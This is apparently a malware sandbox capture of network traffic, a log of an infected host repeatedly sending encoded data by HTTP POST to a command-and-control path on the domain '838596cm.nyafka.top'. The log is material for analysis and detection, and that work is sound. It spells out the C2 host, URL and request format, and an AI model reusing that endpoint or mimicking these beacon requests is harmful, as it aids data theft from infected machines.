Jan 8, 2025 17:14:13.629724026 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZRoyKuG%2FQ1mA%2FmvT6XAvJrgrGRquurj2QrENmmUKiegImrWZW5V3LvFkLKL2QeSQHjo3u%2FbxYqvswbealfSa05T7ZryUE3dMh4K%2FwS6fxEISSfX1u9nWXvGFFv6t2Ib3b56RWSw8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ab5cecf729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4354&min_rtt=2008&rtt_var=5446&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=70249&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	50080	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:13.757082939 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:14.113745928 CET	2532	OUT	Data Raw: 50 56 5e 54 59 5c 56 59 5e 5f 57 54 56 5d 59 5e 57 51 58 5e 50 59 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^TY\VY^_WTV]Y^WQX^PYV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ (^3$2^=![.4?.%^==':W+>?"=/^.#_&'P-+
Jan 8, 2025 17:14:14.224468946 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:14.458785057 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tthJic9xVu5tsJaaJj6H7hvRfUpHcw2Zo7a7rkPCrRXBY1ZZENm3RdP%2FCpB8AtrlIFJ8u%2F2SSEW10fp0pTPUmxtv7jscnV4c2%2B8%2FmNRHQOXOhMro1ghjEWwo2ZQMQkwV6qJoATFa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7aba9fb1424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9644&min_rtt=1594&rtt_var=16697&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=22123&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	50081	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:14.590317965 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:14.942109108 CET	2528	OUT	Data Raw: 55 55 5e 57 59 5c 56 5a 5e 5f 57 54 56 5e 59 58 57 55 58 5d 50 5c 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^WY\VZ^_WTV^YXWUX]P\V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+('U2[=-*/$[=1](+1$;<<=(5-<-/#_&'P-/
Jan 8, 2025 17:14:15.042577982 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:15.278409004 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gb6zJWGoSNm%2Fg7ohM5iETJD1WpaDluRORpe2O2XGDSIoj3IDJJc9emMgMkZzni9xrNxEXKV3JLsluZ4VY5K%2F1Q4B5LXumH8nKEsCaDHBd%2BTlr1PkbDEROUbO2kP17LKjXiZUn2nU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7abfbe53424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2788&min_rtt=1582&rtt_var=3005&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=130008&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	50082	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:15.427294970 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:15.785809994 CET	2532	OUT	Data Raw: 55 51 5e 50 5c 5f 56 5b 5e 5f 57 54 56 57 59 59 57 55 58 53 50 5a 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ^P\_V[^_WTVWYYWUXSPZV\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +(']'*)=5Z;#X=X:>2$2)2,>8";,/#_&'P-
Jan 8, 2025 17:14:15.899221897 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:16.061072111 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bm9h7TGpHCj6bUvLNv1sMb5q831jtOJyMvg%2F5YW31OrjncZJBjSk1Rjw5Btb2jh4cl6TDttXy12ax6%2FIxlnKxUIqCiuLrkLnuPkwIAptUVOoIry0tXvy2I8vlzRC1M1AO%2FsIj3d9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ac50d41727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3971&min_rtt=1928&rtt_var=4810&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=79873&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	50083	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:16.197083950 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:16.551284075 CET	2532	OUT	Data Raw: 50 57 5b 57 59 51 56 5b 5e 5f 57 54 56 59 59 5c 57 56 58 5b 50 5c 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[WYQV[^_WTVYY\WVX[P\V\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ 8/'0&^?.),B#.>(+6&+?=,$![7^-?#_&'P-
Jan 8, 2025 17:14:16.640945911 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:16.880630016 CET	823	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DOrkYDtVaqPIauh8cL0RZOasSaEblMw%2BrbQn%2FXHul%2FApXq%2FXwPJ1EQ56CwAB5QmIZWSdeKvpq0xVnNQuHBM%2BUFoXcp7guu%2B%2FwO%2F%2BfGD3%2FbX6OUwfK7Ev5T%2FkXuNaoVqM482rfD%2Bt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ac9bea8424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&min_rtt=1590&rtt_var=1196&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=365914&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	50084	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:17.047188997 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:17.395009995 CET	2532	OUT	Data Raw: 55 5c 5b 53 59 5a 56 58 5e 5f 57 54 56 5b 59 59 57 5f 58 52 50 58 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\[SYZVX^_WTV[YYW_XRPXVQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _++7Y00.X=[%8?]*>;5$]>P)"8=/]5=8-#_&'P-3
Jan 8, 2025 17:14:17.516134024 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:17.688308001 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bv%2FFKfoVgbo2RDuQySE%2B9LAGbc1fQTPs63tUyUqb5e7vkBnLKZ2OfqOtRIIivvI%2FqarIjmrMav3svA7zYxhXiypQJTktrt93IaS8jAMkX95GXLKu%2B8wkQiMuq0x0fmqMCnHp2Y9G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7acf28370f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4803&min_rtt=1688&rtt_var=6863&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=54870&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:14:17.778137922 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	50085	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:17.909302950 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:18.254455090 CET	2532	OUT	Data Raw: 55 50 5e 57 5c 5f 56 53 5e 5f 57 54 56 57 59 58 57 50 58 58 50 5d 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP^W\_VS^_WTVWYXWPXXP]V][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _+'3==,4\*.!^=+09</\)Y4X6[4.#_&'P-

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	50086	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:18.356720924 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:18.707510948 CET	1828	OUT	Data Raw: 50 51 5e 5f 5c 5a 56 5e 5e 5f 57 54 56 56 59 5a 57 57 58 5e 50 59 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^_\ZV^^_WTVVYZWWX^PYVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?;73"^>8+].=608.V?*<X >7\-?#_&'P-
Jan 8, 2025 17:14:18.820144892 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:19.064811945 CET	951	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GKxaKFz%2BVNJDuI48VgTelpRyJ6C1yIV13lpxbveXw1UB5LXRszV8iyYWgl1jdp0vvIfBIHUPiXfLtuhSu7jfz4sWhrnCRLHg6GGy%2BhSipLdzfzq0ngGngcMSfCpsQjkKiBfa6FcL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ad75d41424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3546&min_rtt=1641&rtt_var=4426&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=86467&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 56 30 04 28 5e 23 38 29 1e 2b 2a 01 5e 3e 20 3a 58 2e 3a 2c 58 26 37 3c 5e 27 2c 2b 02 23 01 25 12 3f 06 31 5d 27 0f 27 09 2b 2b 20 5c 04 1f 24 1b 2b 38 29 10 3e 3f 39 04 24 0d 3d 5a 25 23 28 59 31 3d 3b 5b 27 17 21 0e 21 29 20 09 2c 30 32 52 3a 28 28 10 3c 09 09 05 26 2e 2f 50 0f 10 38 50 2d 07 2b 5b 21 21 07 0a 22 55 2b 5c 20 1b 3f 00 2a 04 27 19 22 01 0c 03 24 30 25 1b 37 54 3c 0c 30 33 27 5c 3c 21 28 56 3f 33 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$V0(^#8)+^> :X.:,X&7<^',+#%?1]''++ \$+8)>?9$=Z%#(Y1=;['!!) ,02R:((<&./P8P-+[!!"U+\ ?'"$0%7T<03'\<!(V?3$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	50087	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:18.499248028 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:18.848143101 CET	2532	OUT	Data Raw: 55 5d 5e 5e 5c 5c 53 5e 5e 5f 57 54 56 5b 59 5a 57 52 58 58 50 5a 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^^\\S^^_WTV[YZWRXXPZVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X+<%#.X?-"/)5^>'1+*?;5:#_&'P-3
Jan 8, 2025 17:14:18.972383022 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:19.216840982 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8ABGAwXdBJh6g%2FKxseNi4%2BCxRkU14bz4RhBwoQnQSj7vhml7Iw49Yi4Sl%2BFVGGr6Tj4Xid6MmT0tZmcF0IimXaS3lh9ajxqGvl86Epdpp6GLSj5qptfZ99ABX9qHPvy1dNov3gUg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ad84e730f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4309&min_rtt=1624&rtt_var=5980&sent=4&recv=8&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=63176&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	50088	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:19.350980043 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:19.707448959 CET	2532	OUT	Data Raw: 55 57 5e 57 5c 5a 56 5a 5e 5f 57 54 56 58 59 5f 57 51 58 58 50 5c 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW^W\ZVZ^_WTVXY_WQXXP\VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#((<$=[9\,$(=X)[=(%Z$(!)2>? 6+-#_&'P-?
Jan 8, 2025 17:14:19.813970089 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:20.046108961 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=he30WxAHyYBQ4nzK9hO32eld4up9elCvBZB1jSt87JZh4ENU%2BM5ziFklXuqI5fBKbzGUfH5ifSpp%2BgNjiRJFM4B6hCioDhLywSc22qPN9GreZnnxNGttEscB3BlaD8IqC92Os9DC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7add8d7c0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8306&min_rtt=1710&rtt_var=13833&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=26799&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	50089	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:20.191917896 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:20.551271915 CET	2532	OUT	Data Raw: 55 5c 5e 53 5c 5d 56 5d 5e 5f 57 54 56 5b 59 5a 57 53 58 5c 50 5e 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^S\]V]^_WTV[YZWSX\P^V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(?03>Z?=\.$')>>8"3(1<3X)/!#9?#_&'P-3
Jan 8, 2025 17:14:20.654272079 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:20.890642881 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5g542zYJ17xqLUAFRrEML%2FREva5Sz0lR7utPnIsVOJ7lnDwxn5geuAxjjaWVi%2BVj61jouQhfIE3XiXbY5HeZMpDG5Bsv7HtQ5bY9TpHgK4Yw2B9BZVqFvA%2BQUUoNIZLIXsr5xeU4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ae2c8f743b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2765&min_rtt=1550&rtt_var=3011&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=129524&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	50090	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:21.022206068 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
